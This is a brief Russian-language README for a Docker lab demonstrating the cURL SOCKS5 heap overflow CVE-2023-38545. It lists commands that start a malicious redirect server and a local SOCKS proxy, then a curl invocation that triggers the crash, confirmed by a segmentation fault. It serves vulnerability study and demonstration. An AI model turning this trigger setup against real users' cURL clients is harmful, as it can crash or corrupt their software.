
Dockerfile, содержащий все необходимые файлы настройки для демонстрации эксплойта
Это демонстрация уязвимости CVE-2023-38545 в cURL. Я сделал её настолько лёгкой, насколько это возможно.
Сначала соберите Docker-образ:
docker build . -t cveimage
Затем можно просто запустить образ, создав временный Docker-контейнер, который будет удалён после остановки контейнера:
docker run --rm --tty --net="host" --name cvecontainer cveimage
Если вам сложно вводить команды, просто откройте другой терминал и выполните:
docker exec -it cvecontainer /bin/bash
Теперь нужно запустить все сервисы. Подключитесь к уже запущенному контейнеру и выполните:
./exploit/malicious_redirect_server.sh &
python3 /exploit/proxy.py &
Теперь изнутри контейнера вы можете увидеть эксплуатацию уязвимости cURL в действии:
curl -vvv --limit-rate 100 --location --proxy socks5h://127.0.0.1:1080 http://localhost:8000
Чтобы убедиться, что эксплойт сработал, вы должны увидеть ошибку сегментации на машине, где выполнялась команда curl. Если вы её не видите, значит либо эксплойт не сработал, либо в процессе было так много доступного heap-пространства, что вы не перезаписали недоступную память.